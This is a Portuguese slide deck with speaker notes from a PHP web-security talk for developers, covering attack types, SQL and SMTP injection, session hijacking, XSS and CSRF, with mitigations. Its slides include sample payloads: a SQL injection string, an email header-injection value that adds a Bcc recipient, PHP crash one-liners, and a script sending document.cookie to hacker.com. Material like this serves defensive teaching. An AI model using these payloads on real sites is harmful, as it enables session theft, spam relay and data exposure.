XSS Desvendado! Ricardo Striquer Soares (twitter rstriquer) programabrasil.blogspot.com WB4B/C'
Tecnicas de ataques Spam / Phising Scam Exploits / Backdoors Botnets Package Sniffing Scanning / Port scanning Social Enginering Spywares / Keylogger  / Screenlogger DoS / DDoS  DNS Poisoning Brute Force http://en.wikipedia.org/wiki/Exploit_%28computer_security%29
Spam QUT researcher Mohammed AlZomai isi.qut.edu.au (Australia) http://www.sciencedaily.com/releases/2007/11/071107091540.htm "It is worrisome that ... when transactions faced a stealthy attack, 61% of attacks were successful."
Spywares, Keylogger  and Screenlogger http://en.wikipedia.org/wiki/Spyware
Botnets http://en.wikipedia.org/wiki/Botnets
Brute Force http://en.wikipedia.org/wiki/Brute_force_attack while ( ! ( succeed = try() ) );
Exploits  and Bugs http://en.wikipedia.org/wiki/Exploit_%28computer_security%29 php -r 'gettext(str_repeat("A",8476509));' (v5.2.5) $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c); (v5.2.1)
Com tudo isto ...
Scanning  and Port scanning nmap -vsS nmap -vP0 (zero) nmap -vsV (exemplo de resultado abaixo) PORT  STATE  SERVICE  VERSION 21/tcp  open  ftp  vsFTPd 2.0.4 22/tcp  open  ssh  OpenSSH 4.2p1 (protocol 2.0) 25/tcp  open  smtp  qmail smtpd 80/tcp  open  http  Apache httpd 1.3.34 ((Unix) PHP/4.4.2) http://en.wikipedia.org/wiki/Nmap
Social Engineering http://en.wikipedia.org/wiki/Social_engineering_%28security%29 “ Estou retornando um chamado de suporte técnico e ...” “ Estou fazendo uma pesquisa de satisfação ...”
DNS Poisoning http://en.wikipedia.org/wiki/Dns_poisoning
DoS / DDoS Denial of Service / Distributed DoS Técnicas ICMP Floods => www.powertech.no/smurf  Teardrop => OS Upgrade Application level floods => PI* Pear-to-peer => PI* Nuke => OS Upgrade http://en.wikipedia.org/wiki/Denial-of-service_attack
Direções www.securityfocus.com  thedailywtf.com  www.istf.com.br  www.owasp.org
Notícias de ontem ... Falha no Firefox 3 expõe usuários a risco de ataque por hackers http://g1.globo.com/Noticias/Tecnologia/0,,MUL606962-6174,00-FALHA+NO+FIREFOX+EXPOE+USUARIOS+A+RISCO+DE+ATAQUE+POR+HACKERS.html Core Security Alerta Sobre Falha Crítica no Mac OS X 10.5 Leopard http://under-linux.org/core-security-alerta-sobre-falha-critica-no-mac-os-x-10-5-leopard-1971/
Oito em cada dez sites de internet são inseguros.
Existia uma história de quatro pessoas, Todomundo, Alguém, Qualquerum e Ninguém ...
“ ... Havia um importante trabalho para ser feito e Todomundo tinha certeza que Alguém faria-o. Qualquerum poderia ter feito mas Ninguém o fez. Agora quando Alguém fica brabo por causa disto, pois era trabalho de Todomundo, Todomundo pensa que Qualquerum deveria ter faito, mas Ninguém imaginou que Todomundo não o havia feito. ...”
... Ao fim Todomundo culpa Alguém quando Ninguém fez o que Qualquerum poderia ter feito! Texto do Escritório de Segurança do Departamento de Comercio Norte Americano
Segurança é  um  fator cultural, é um  dever, é   responsabilidade  de todos!
O que deve um parceiro de hospedagem fazer? Controle de acesso Politica de atualização Utilizar SPF (Sender Police Framework) IDS (Intrusion Detection System) http://www.antispam.br/admin/spf/ http://www.rnp.br/newsgen/9909/ids.html
Projetos interessantes - Google code search Encontrar falhas em sistemas open source - Hardened Linux / OpenBSD Identificar padrões de configurações - Hardened PHP Implementar - GreenSQL Implementar http://code.google.com/  http://hardenedlinux.sourceforge.net/  http://www.hardened-php.net/  http://www.greensql.net/
O que nós programadores podemos fazer?
Problemas de código Injections Session Hijacking XSS CSRF ou XSRF
Injections O que é um injection? Injections mais populares: SQL e SMTP http://en.wikipedia.org/wiki/Code_injection  http://en.wikipedia.org/wiki/SQL_injection
Injections - SQL (1/3) $db = new db(); $db->SQL = ' SELECT *  FROM user WHERE login=”'.$_GET[“login”].'”; '; $db->Execute(); $_GET[“login”] = “mayke”;
Injections - SQL (2/3) $db = new db(); $db->SQL = ' SELECT *  FROM user WHERE login=”'.$_GET[“login”].'”; '; $db->Execute(); $_GET[“login”] = “N\”  OR TRUE  OR login=\”NONE”;
Injections - SQL (3/3) If ($db->QuantidadeResultados) { echo “Deu certo!”; } If ($db->QuantidadeResultados) { $db->SQL = ' /* Novo comando com outro imput */ '; }
Injections - SMTP (1/4) mail(  $_POST[“Para”], $_POST[“Assunto”], $_POST[“Mensagem” ); $_POST[“Para”] = “destin@tario.com”;  $_POST[“Assunto”] =  “ Ataque de spammers”; $_POST[“Mensagem”] =  “ Atacaram nosso site!”;
01 Dominio destino: tario.com 02 Identificando MTAs disponiveis 03 Servidor selecionado: mx.tario.com 04 Conexao socket estabelecida! 05 R: 220 mx01.tario.com ESMTP 06 S: 35 bytes 07 T: 0.41055202484131 sec 08  09 W: EHLO lucremais.com 10 S: 21 bytes 11 R: 250-mx01.tario.com 12 S: 29 bytes 13 R: 250-PIPELINING 14 S: 14 bytes 15 R: 250-8BITMIME 16 S: 12 bytes 17 R: 250-SIZE 30000000 18 S: 17 bytes 19 R: 250 AUTH LOGIN PLAIN CRAM-MD5 20 S: 29 bytes 21 T: 0.053061962127686 sec 22 23 W: MAIL FROM: <script@site.com> 24 S: 28 bytes 25 R: 250 ok 26 S: 6 bytes 27 T: 0.81833100318909 sec 28  29 W: RCPT TO: <destin@tario.com> 30 S: 36 bytes 31 R: 250 ok 32 S: 6 bytes 33 T: 0.043802976608276 sec 34 W: DATA 35 S: 4 bytes 36 R: 354 go ahead 37 S: 12 bytes 38 T: 0.082557916641235 sec 39  40 W: MIME-Version: 1.0 41 X-SenderEngineVersion: 1.0 42 X-SenderEngineName: Ideias Pontual - iMail 43 Return-path: NomeFrom <script@site.com> 44 Content-Type: text/plain; 45  charset=ISO-8859-1 46 Reply-to: NomeFrom <script@site.com> 47 Date: Sat, 21 Jul 2007 13:53:15 -0300 48 From: NomeFrom <script@site.com> 49 To: NomeTo <destin@tario.com> 50 Subject: Teste de envio texto! 51  52 Teste 53 . 54 S: 379 bytes 55 R: 250 ok 1185036797 qp 31968 56 S: 26 bytes 57 T: 0.20024585723877 sec 58 59 W: QUIT 60 S: 4 bytes 61 R: 221 mx01.tario.com 62 S: 29 bytes 63 T: 0.044206857681274 sec 64  65 Tempo total de envio: 1.6655600070953 sec W=comando; R=resposta; S=Tamanho do texto; T=Milisegundos entre a escruta e a leitura Injections - SMTP (2/4)
mail(  $_POST[“Para”], $_POST[“Assunto”], $_POST[“Mensagem” ); $_POST[“Para”] = “haxor@attack.com%0ASubject:Mwahahaha%0ABcc:target@nothappy.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A”;  $_POST[“Assunto”] =  “ Ataque de spammers”; $_POST[“Mensagem”] =  “ Atacaram nosso site!”; Injections - SMTP (3/4)
01: From: script@site.com 02: Subject: Ataque de spammers 03: To: destin@tario.com  04:  05: Atacaram nosso site! 06:  07: . From: site@site.com Subject: Ataque de spammers To:  [email_address] Subject:Mwahahaha Bcc:target@nothappy.com Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html <b>HTML Message.</b> --frog-- Content-Type:text/html;name=Security.html; Content-Transfer-Encoding:8bit Content-Disposition: attachment <u>HTML File</u> --frog-- Atacaram nosso site! . Injections - SMTP (4/4)
Session Hijacking Session fixation (bookmark) Sedejacking (sniffing) XSS e CSRF http://en.wikipedia.org/wiki/Session_hijacking
XSS  $_POST[“msg'] = '<h4><font color=red>Este site foi hackeado!</font></h4>' Cross Site Scripting Também referenciado como CSS http://en.wikipedia.org/wiki/Cross_site_scripting
CSRF (ou XSRF) <script> window.location= 'http://www.hacker.com?' + document.cookie </script> Cross Site Request Forgering http://en.wikipedia.org/wiki/Cross-site_request_forgery
* I M P O R T A N T E * $_GET $_POST $_SERVER $_FILES $_ENV $_COOKIES
Segurança é  um  fator cultural, é um  dever, é   responsabilidade  de todos!
Fim! Agradecimentos ProPHP Tempo Real WB4B/C' Sites úteis www.php.net/security  www.php-security.org blog.php-security.org phpsec.org  www.phpsecure.info www.programabrasil.org

XSS Desvendado

  • 1.
    XSS Desvendado! RicardoStriquer Soares (twitter rstriquer) programabrasil.blogspot.com WB4B/C'
  • 2.
    Tecnicas de ataquesSpam / Phising Scam Exploits / Backdoors Botnets Package Sniffing Scanning / Port scanning Social Enginering Spywares / Keylogger / Screenlogger DoS / DDoS DNS Poisoning Brute Force http://en.wikipedia.org/wiki/Exploit_%28computer_security%29
  • 3.
    Spam QUT researcherMohammed AlZomai isi.qut.edu.au (Australia) http://www.sciencedaily.com/releases/2007/11/071107091540.htm &quot;It is worrisome that ... when transactions faced a stealthy attack, 61% of attacks were successful.&quot;
  • 4.
    Spywares, Keylogger and Screenlogger http://en.wikipedia.org/wiki/Spyware
  • 5.
  • 6.
  • 7.
    Exploits andBugs http://en.wikipedia.org/wiki/Exploit_%28computer_security%29 php -r 'gettext(str_repeat(&quot;A&quot;,8476509));' (v5.2.5) $a=str_repeat(&quot;A&quot;, 65535); $b=1; $c=str_repeat(&quot;A&quot;, 65535); chunk_split($a,$b,$c); (v5.2.1)
  • 8.
  • 9.
    Scanning andPort scanning nmap -vsS nmap -vP0 (zero) nmap -vsV (exemplo de resultado abaixo) PORT STATE SERVICE VERSION 21/tcp open ftp vsFTPd 2.0.4 22/tcp open ssh OpenSSH 4.2p1 (protocol 2.0) 25/tcp open smtp qmail smtpd 80/tcp open http Apache httpd 1.3.34 ((Unix) PHP/4.4.2) http://en.wikipedia.org/wiki/Nmap
  • 10.
    Social Engineering http://en.wikipedia.org/wiki/Social_engineering_%28security%29“ Estou retornando um chamado de suporte técnico e ...” “ Estou fazendo uma pesquisa de satisfação ...”
  • 11.
  • 12.
    DoS / DDoSDenial of Service / Distributed DoS Técnicas ICMP Floods => www.powertech.no/smurf Teardrop => OS Upgrade Application level floods => PI* Pear-to-peer => PI* Nuke => OS Upgrade http://en.wikipedia.org/wiki/Denial-of-service_attack
  • 13.
    Direções www.securityfocus.com thedailywtf.com www.istf.com.br www.owasp.org
  • 14.
    Notícias de ontem... Falha no Firefox 3 expõe usuários a risco de ataque por hackers http://g1.globo.com/Noticias/Tecnologia/0,,MUL606962-6174,00-FALHA+NO+FIREFOX+EXPOE+USUARIOS+A+RISCO+DE+ATAQUE+POR+HACKERS.html Core Security Alerta Sobre Falha Crítica no Mac OS X 10.5 Leopard http://under-linux.org/core-security-alerta-sobre-falha-critica-no-mac-os-x-10-5-leopard-1971/
  • 15.
    Oito em cadadez sites de internet são inseguros.
  • 16.
    Existia uma históriade quatro pessoas, Todomundo, Alguém, Qualquerum e Ninguém ...
  • 17.
    “ ... Haviaum importante trabalho para ser feito e Todomundo tinha certeza que Alguém faria-o. Qualquerum poderia ter feito mas Ninguém o fez. Agora quando Alguém fica brabo por causa disto, pois era trabalho de Todomundo, Todomundo pensa que Qualquerum deveria ter faito, mas Ninguém imaginou que Todomundo não o havia feito. ...”
  • 18.
    ... Ao fimTodomundo culpa Alguém quando Ninguém fez o que Qualquerum poderia ter feito! Texto do Escritório de Segurança do Departamento de Comercio Norte Americano
  • 19.
    Segurança é um fator cultural, é um dever, é responsabilidade de todos!
  • 20.
    O que deveum parceiro de hospedagem fazer? Controle de acesso Politica de atualização Utilizar SPF (Sender Police Framework) IDS (Intrusion Detection System) http://www.antispam.br/admin/spf/ http://www.rnp.br/newsgen/9909/ids.html
  • 21.
    Projetos interessantes -Google code search Encontrar falhas em sistemas open source - Hardened Linux / OpenBSD Identificar padrões de configurações - Hardened PHP Implementar - GreenSQL Implementar http://code.google.com/ http://hardenedlinux.sourceforge.net/ http://www.hardened-php.net/ http://www.greensql.net/
  • 22.
    O que nósprogramadores podemos fazer?
  • 23.
    Problemas de códigoInjections Session Hijacking XSS CSRF ou XSRF
  • 24.
    Injections O queé um injection? Injections mais populares: SQL e SMTP http://en.wikipedia.org/wiki/Code_injection http://en.wikipedia.org/wiki/SQL_injection
  • 25.
    Injections - SQL(1/3) $db = new db(); $db->SQL = ' SELECT * FROM user WHERE login=”'.$_GET[“login”].'”; '; $db->Execute(); $_GET[“login”] = “mayke”;
  • 26.
    Injections - SQL(2/3) $db = new db(); $db->SQL = ' SELECT * FROM user WHERE login=”'.$_GET[“login”].'”; '; $db->Execute(); $_GET[“login”] = “N\” OR TRUE OR login=\”NONE”;
  • 27.
    Injections - SQL(3/3) If ($db->QuantidadeResultados) { echo “Deu certo!”; } If ($db->QuantidadeResultados) { $db->SQL = ' /* Novo comando com outro imput */ '; }
  • 28.
    Injections - SMTP(1/4) mail( $_POST[“Para”], $_POST[“Assunto”], $_POST[“Mensagem” ); $_POST[“Para”] = “destin@tario.com”; $_POST[“Assunto”] = “ Ataque de spammers”; $_POST[“Mensagem”] = “ Atacaram nosso site!”;
  • 29.
    01 Dominio destino:tario.com 02 Identificando MTAs disponiveis 03 Servidor selecionado: mx.tario.com 04 Conexao socket estabelecida! 05 R: 220 mx01.tario.com ESMTP 06 S: 35 bytes 07 T: 0.41055202484131 sec 08 09 W: EHLO lucremais.com 10 S: 21 bytes 11 R: 250-mx01.tario.com 12 S: 29 bytes 13 R: 250-PIPELINING 14 S: 14 bytes 15 R: 250-8BITMIME 16 S: 12 bytes 17 R: 250-SIZE 30000000 18 S: 17 bytes 19 R: 250 AUTH LOGIN PLAIN CRAM-MD5 20 S: 29 bytes 21 T: 0.053061962127686 sec 22 23 W: MAIL FROM: <script@site.com> 24 S: 28 bytes 25 R: 250 ok 26 S: 6 bytes 27 T: 0.81833100318909 sec 28 29 W: RCPT TO: <destin@tario.com> 30 S: 36 bytes 31 R: 250 ok 32 S: 6 bytes 33 T: 0.043802976608276 sec 34 W: DATA 35 S: 4 bytes 36 R: 354 go ahead 37 S: 12 bytes 38 T: 0.082557916641235 sec 39 40 W: MIME-Version: 1.0 41 X-SenderEngineVersion: 1.0 42 X-SenderEngineName: Ideias Pontual - iMail 43 Return-path: NomeFrom <script@site.com> 44 Content-Type: text/plain; 45 charset=ISO-8859-1 46 Reply-to: NomeFrom <script@site.com> 47 Date: Sat, 21 Jul 2007 13:53:15 -0300 48 From: NomeFrom <script@site.com> 49 To: NomeTo <destin@tario.com> 50 Subject: Teste de envio texto! 51 52 Teste 53 . 54 S: 379 bytes 55 R: 250 ok 1185036797 qp 31968 56 S: 26 bytes 57 T: 0.20024585723877 sec 58 59 W: QUIT 60 S: 4 bytes 61 R: 221 mx01.tario.com 62 S: 29 bytes 63 T: 0.044206857681274 sec 64 65 Tempo total de envio: 1.6655600070953 sec W=comando; R=resposta; S=Tamanho do texto; T=Milisegundos entre a escruta e a leitura Injections - SMTP (2/4)
  • 30.
    mail( $_POST[“Para”],$_POST[“Assunto”], $_POST[“Mensagem” ); $_POST[“Para”] = “haxor@attack.com%0ASubject:Mwahahaha%0ABcc:target@nothappy.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A”; $_POST[“Assunto”] = “ Ataque de spammers”; $_POST[“Mensagem”] = “ Atacaram nosso site!”; Injections - SMTP (3/4)
  • 31.
    01: From: script@site.com02: Subject: Ataque de spammers 03: To: destin@tario.com 04: 05: Atacaram nosso site! 06: 07: . From: site@site.com Subject: Ataque de spammers To: [email_address] Subject:Mwahahaha Bcc:target@nothappy.com Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html <b>HTML Message.</b> --frog-- Content-Type:text/html;name=Security.html; Content-Transfer-Encoding:8bit Content-Disposition: attachment <u>HTML File</u> --frog-- Atacaram nosso site! . Injections - SMTP (4/4)
  • 32.
    Session Hijacking Sessionfixation (bookmark) Sedejacking (sniffing) XSS e CSRF http://en.wikipedia.org/wiki/Session_hijacking
  • 33.
    XSS $_POST[“msg']= '<h4><font color=red>Este site foi hackeado!</font></h4>' Cross Site Scripting Também referenciado como CSS http://en.wikipedia.org/wiki/Cross_site_scripting
  • 34.
    CSRF (ou XSRF)<script> window.location= 'http://www.hacker.com?' + document.cookie </script> Cross Site Request Forgering http://en.wikipedia.org/wiki/Cross-site_request_forgery
  • 35.
    * I MP O R T A N T E * $_GET $_POST $_SERVER $_FILES $_ENV $_COOKIES
  • 36.
    Segurança é um fator cultural, é um dever, é responsabilidade de todos!
  • 37.
    Fim! Agradecimentos ProPHPTempo Real WB4B/C' Sites úteis www.php.net/security www.php-security.org blog.php-security.org phpsec.org www.phpsecure.info www.programabrasil.org

Notas do Editor

  • #2 Falar sobre os tópicos &gt; O que é segurança; &gt; Quais os problemas comuns; &gt; Simulação de uma invasão; &gt; Quais os planos de ação; &gt; Se mantenha atualizado.
  • #8 Com o nome induz exploits são bugs de software ou falhas na implementação do mesmo que fazem com que o sistema possua uma quebra de segurança. Um exploit geralmente é mais associado a um erro no sistema que leva a uma falha na integridade da aplicação, porem é muito comum se referir a uma bug de sistema como um exploit.
  • #9 Eu coloquei aqui o MySQL pq hoje em dia ele é muito popular em sistemas de hostings, e até dei uma destacada no buffer overflow pq este tipo de falha são as mais graves, as mais famosas exploits foram sobre buffers overflows, tendo diversos exemplos como o mostrado em matrix “SSHv1 CRC32”, o MySQL na versão 3.23 tinha um que possibilitava acesso total ao servidor. Com todas estas informações na mão eu já começo a identificar o sistema do alvo e me preparar para um ataque. Ataques hacker real que não levante suspeitas custa caro e pode levar semanas, podendo conter operações de engenharia reversa e até simulação do ataque em uma rede criada pelo hacker
  • #11 Legal tudo isto até agora, mas eu faço tudo isto e ainda corro risco de ser invadido? Sim, mas ai estamos falando de invasão de verdade a qual está sob mira de qualquer sistema, não de um sistema especificamente feito em php Robert Morris Known online as rtm. Son of the chief scientist at the National Computer Security Center — part of the National Security Agency (NSA) — this Cornell University graduate student introduced the word &amp;quot;hacker&amp;quot; into the vernacular when he accidentally unleashed an Internet worm in 1988. Thousands of computers were infected and subsequently crashed. First exosted to computers at home - Morris&apos; father once brought home one of the original Enigma cryptographic machines from the NSA. It became a household conversation piece. As a teenager Morris had an account on the Bell Labs&apos; computer network, where early hacking forays gave him super-user status. Robert Morris is now an assistant professor at MIT, even though he released his worm virus from there in 1988 (thus disguising the fact that it was actually written at Cornell University). Vladimir Levin Claim to fame: A graduate of St. Petersburg Tekhnologichesky University, this mathematician allegedly masterminded the Russian hacker gang that tricked Citibank&apos;s computers into spitting out $10 million. Arrested by Interpol at Heathrow Airport in 1995. John Draper Claim to fame: Figured out how to make free phone calls using a plastic prize whistle he found in a cereal box. Cap&apos;n Crunch introduced generations of hackers to the glorious concept of phone &amp;quot;phreaking.&amp;quot; Mark Abene Claim to fame: He was a founding member of the Masters of Deception, Phiber Optik inspired thousands of teenagers around the country to &amp;quot;study&amp;quot; the internal workings of our nation&apos;s phone system. A federal judge attempted to &amp;quot;send a message&amp;quot; to other hackers by sentencing Phiber to a year in federal prison, but the message got garbled: Hundreds of well-wishers attended a welcome-home party in Abene&apos;s honor at an elite Manhattan Club. Soon after, New York magazine dubbed him one of the city&apos;s 100 smartest people. First used computers while hanging out in the electronics department of the A&amp;S department store in Queens, N.Y., where his mother worked. There he was introduced to the Apple II, the Timex Sinclair and the Commodore 64. The first computer he owned was a Radio Shack TRS-80 (Trash-80). He experimented by dialing patterns on a phone receiver. Abene used the receiver so frequently that it had to be bandaged with black electrical tape to keep its guts from falling out. After doing time in a Pennsylvania prison, Mark Abene worked on penetration tests for an accounting firm, and formed the (now defunct) security company, Crossbar Security.
  • #14 O mais prático é sempre se manter atualizado.
  • #16 Conceito de segurança da informação: A informação deve estar disponível para que o individuo possa acessar e/ou alterar a mesma de acordo com sua responsabilidade para com a informação. Ou seja, se eu posso receber a informação então eu devo recebe-la, se eu devo mante-la devo ter o poder de altera-la. Se a informação não tiver integridade ela não é uma informação confiável, logo ela não é segura. Explicar o conceito de segurança da informação, quem está envolvido e o pq ela é importante. Considerando o conceito de segurança da informação explicar o pq a integridade e a segurança da informação é importante. Para descrever sobre quem é responsável pela segurança apresentar a tela da história do escritório do departamento de comercio norte americano.
  • #17 Explicar que A questão não é referente a segurança em sites de internet Conceito de segurança da informação: A informação deve estar disponível para que o individuo possa acessar e/ou alterar a mesma de acordo com sua responsabilidade para com a informação. Ou seja, se eu posso receber a informação então eu devo recebe-la, se eu devo mante-la devo ter o poder de altera-la. Se a informação não tiver integridade ela não é uma informação confiável, logo ela não é segura. Explicar o conceito de segurança da informação, quem está envolvido e o pq ela é importante. Considerando o conceito de segurança da informação explicar o pq a integridade e a segurança da informação é importante. Para descrever sobre quem é responsável pela segurança apresentar a tela da história do escritório do departamento de comercio norte americano.
  • #18 Descrever a historinha e reforçar a principal idéia dela de que segurança é de responsabilidade de todos, se alguém disponibiliza uma informação inconsistente ela não é segura, esta é uma pequena coisa que pode levar a um vendaval, mas todos os problemas começam pequenos.
  • #20 Conceito de segurança da informação: A informação deve estar disponível para que o individuo possa acessar e/ou alterar a mesma de acordo com sua responsabilidade para com a informação. Ou seja, se eu posso receber a informação então eu devo recebe-la, se eu devo mante-la devo ter o poder de altera-la. Se a informação não tiver integridade ela não é uma informação confiável, logo ela não é segura. Explicar o conceito de segurança da informação, quem está envolvido e o pq ela é importante. Considerando o conceito de segurança da informação explicar o pq a integridade e a segurança da informação é importante. Para descrever sobre quem é responsável pela segurança apresentar a tela da história do escritório do departamento de comercio norte americano. Do rhl-sg-en.pdf 1.1.4. Standardizing Security Enterprises in every industry rely on regulations and rules that are set by standards making bodies such as the American Medical Association (AMA) or the Institute of Electrical and Electronics Engineers (IEEE). The same ideals hold true for information security. Many security consultants and vendors agree upon the standard security model known as CIA, or Confidentiality, Integrity, and Availability. This three-tiered model is a generally accepted component to assessing risks to sensitive information and establishing security policy. The following describes the CIA model in greater detail: * Confidentiality — Sensitive information must be available only to a set of pre-defined individuals. Unauthorized transmission and usage of information should be restricted. For example, confidentiality of information ensures that a customer&apos;s personal or financial information is not obtained by an unauthorized individual for malicious purposes such as identity theft or credit fraud. * Integrity — Information should not be altered in ways that render it incomplete or incorrect. Unauthorized users should be restricted from the ability to modify or destroy sensitive information. * Availability — Information should be accessible to authorized users any time that it is needed. Availability is a warranty that information can be obtained with an agreed-upon frequency and timeliness. This is often measured in terms of percentages and agreed to formally in Service Level Agreements (SLAs) used by network service providers and their enterprise clients.
  • #26 Funcionamento correto do sistema
  • #27 Injeção de comando SQL
  • #28 SQL Injection não é encontrado tão facilmente, não algo viável de funcionar em todo o sistema pois geralmente um comando SQL em sistema complexo é seguido por outro comando SQL que demanda do resultado do primeiro, logo quando os resultados do primeiro não são funcionais o segundo tem grande probabilidade de também não ser funcional. O grande e verdadeiro problema em um ataque de SQL injection é a carga do servido de banco de dados, se eu fizer uma pesquisa como esta apresentada em uma tabela de 100 milhões de registros irá consumir um determinado recurso do servidor e se o sistema, sistema como um todo, não estiver preparado para lidar com isto este tipo de ataque for massivo pode resultar no congelamento do sistema.
  • #29 Maneira esperada de input para um formulário de envio de email
  • #31 Injeção à partir de um formulário não preparado
  • #32 À esquerda o resultado de um comando SMTP sem o ataque, à direita o comando fazendo uso de Bcc e Ccc para encaminhar para outros. Mais uma vez temos o problema da carga, desta vez no servidor SMTP, entretanto este é um problema mais complexo pois o email foi realmente disparado à partir do seu servidor, o hacker por denegrir a imagem do seu site com este tipo de ataque. Para restringir o ataque devemos prevenir a existência de seqüências como “Bcc:” ou “Ccc:” de dentro de inputs provenientes de formulários que serão utilizados na parte do header da mensagem, como email ou nome do sender.
  • #33 É muito utilizado em sistema internos, geralmente o nível de segurança para servidores que rodam no domínio da empresa é muito baixo e possibilita que códigos de scripts (Javascript) sejam executados sem o devido monitoramento, o que leva o sistema a coletar informações na máquina local e envia-las para outros destinos XSS (Cross Site Scripting) e CSRF ( Cross-Site Request Forgeries) são quase a mesma coisa, consiste em colocar um código, geralmente javascript, num site que normalmente não se teria controle, por forma a conseguir informações ou acessos que normalmente não teríamos. O problema agrava quando utilizamos a função EVAL do PHP para construir códigos on-the-fly à partir de imputes dos usuários. Afeta muito o PHP pq o PHP controla sessões com o auxilio de cookies, com a variável PHPSESSID, tal variável encaminhada para outro usuário o PHP pode encaminhar o identificador da sessão para outro usuário que pode então ter acesso ao restante do site. Evitamos transformando o input do usuário em códigos HTMLs, em especial o caractere maior que. Evitar o uso da função EVAL e utilizar uma verificação na qual armazenamos o IP do cliente e verificamos se o sessão informada é relacionada ao IP do usuário
  • #34 É muito utilizado em sistema internos, geralmente o nível de segurança para servidores que rodam no domínio da empresa é muito baixo e possibilita que códigos de scripts (Javascript) sejam executados sem o devido monitoramento, o que leva o sistema a coletar informações na máquina local e envia-las para outros destinos XSS (Cross Site Scripting) e CSRF ( Cross-Site Request Forgeries) são quase a mesma coisa, consiste em colocar um código, geralmente javascript, num site que normalmente não se teria controle, por forma a conseguir informações ou acessos que normalmente não teríamos. O problema agrava quando utilizamos a função EVAL do PHP para construir códigos on-the-fly à partir de imputes dos usuários. Afeta muito o PHP pq o PHP controla sessões com o auxilio de cookies, com a variável PHPSESSID, tal variável encaminhada para outro usuário o PHP pode encaminhar o identificador da sessão para outro usuário que pode então ter acesso ao restante do site. Evitamos transformando o input do usuário em códigos HTMLs, em especial o caractere maior que. Evitar o uso da função EVAL e utilizar uma verificação na qual armazenamos o IP do cliente e verificamos se o sessão informada é relacionada ao IP do usuário
  • #35 É muito utilizado em sistema internos, geralmente o nível de segurança para servidores que rodam no domínio da empresa é muito baixo e possibilita que códigos de scripts (Javascript) sejam executados sem o devido monitoramento, o que leva o sistema a coletar informações na máquina local e envia-las para outros destinos XSS (Cross Site Scripting) e CSRF ( Cross-Site Request Forgeries) são quase a mesma coisa, consiste em colocar um código, geralmente javascript, num site que normalmente não se teria controle, por forma a conseguir informações ou acessos que normalmente não teríamos. O problema agrava quando utilizamos a função EVAL do PHP para construir códigos on-the-fly à partir de imputes dos usuários. Afeta muito o PHP pq o PHP controla sessões com o auxilio de cookies, com a variável PHPSESSID, tal variável encaminhada para outro usuário o PHP pode encaminhar o identificador da sessão para outro usuário que pode então ter acesso ao restante do site. Evitamos transformando o input do usuário em códigos HTMLs, em especial o caractere maior que. Evitar o uso da função EVAL e utilizar uma verificação na qual armazenamos o IP do cliente e verificamos se o sessão informada é relacionada ao IP do usuário
  • #36 Diferente do que as mas línguas desenformadas falam, desenvolver um aplicativo seguro em PHP é muito baba, basicamente se você tratar corretamente tudo o que o seu sistema recebe do mundo exterior e tudo o que ele apresenta para o mundo exterior você está salvo. Comentar um pouco sobre inclusão de arquivos por require, nome de arquivos abertos como .inc e outras coisas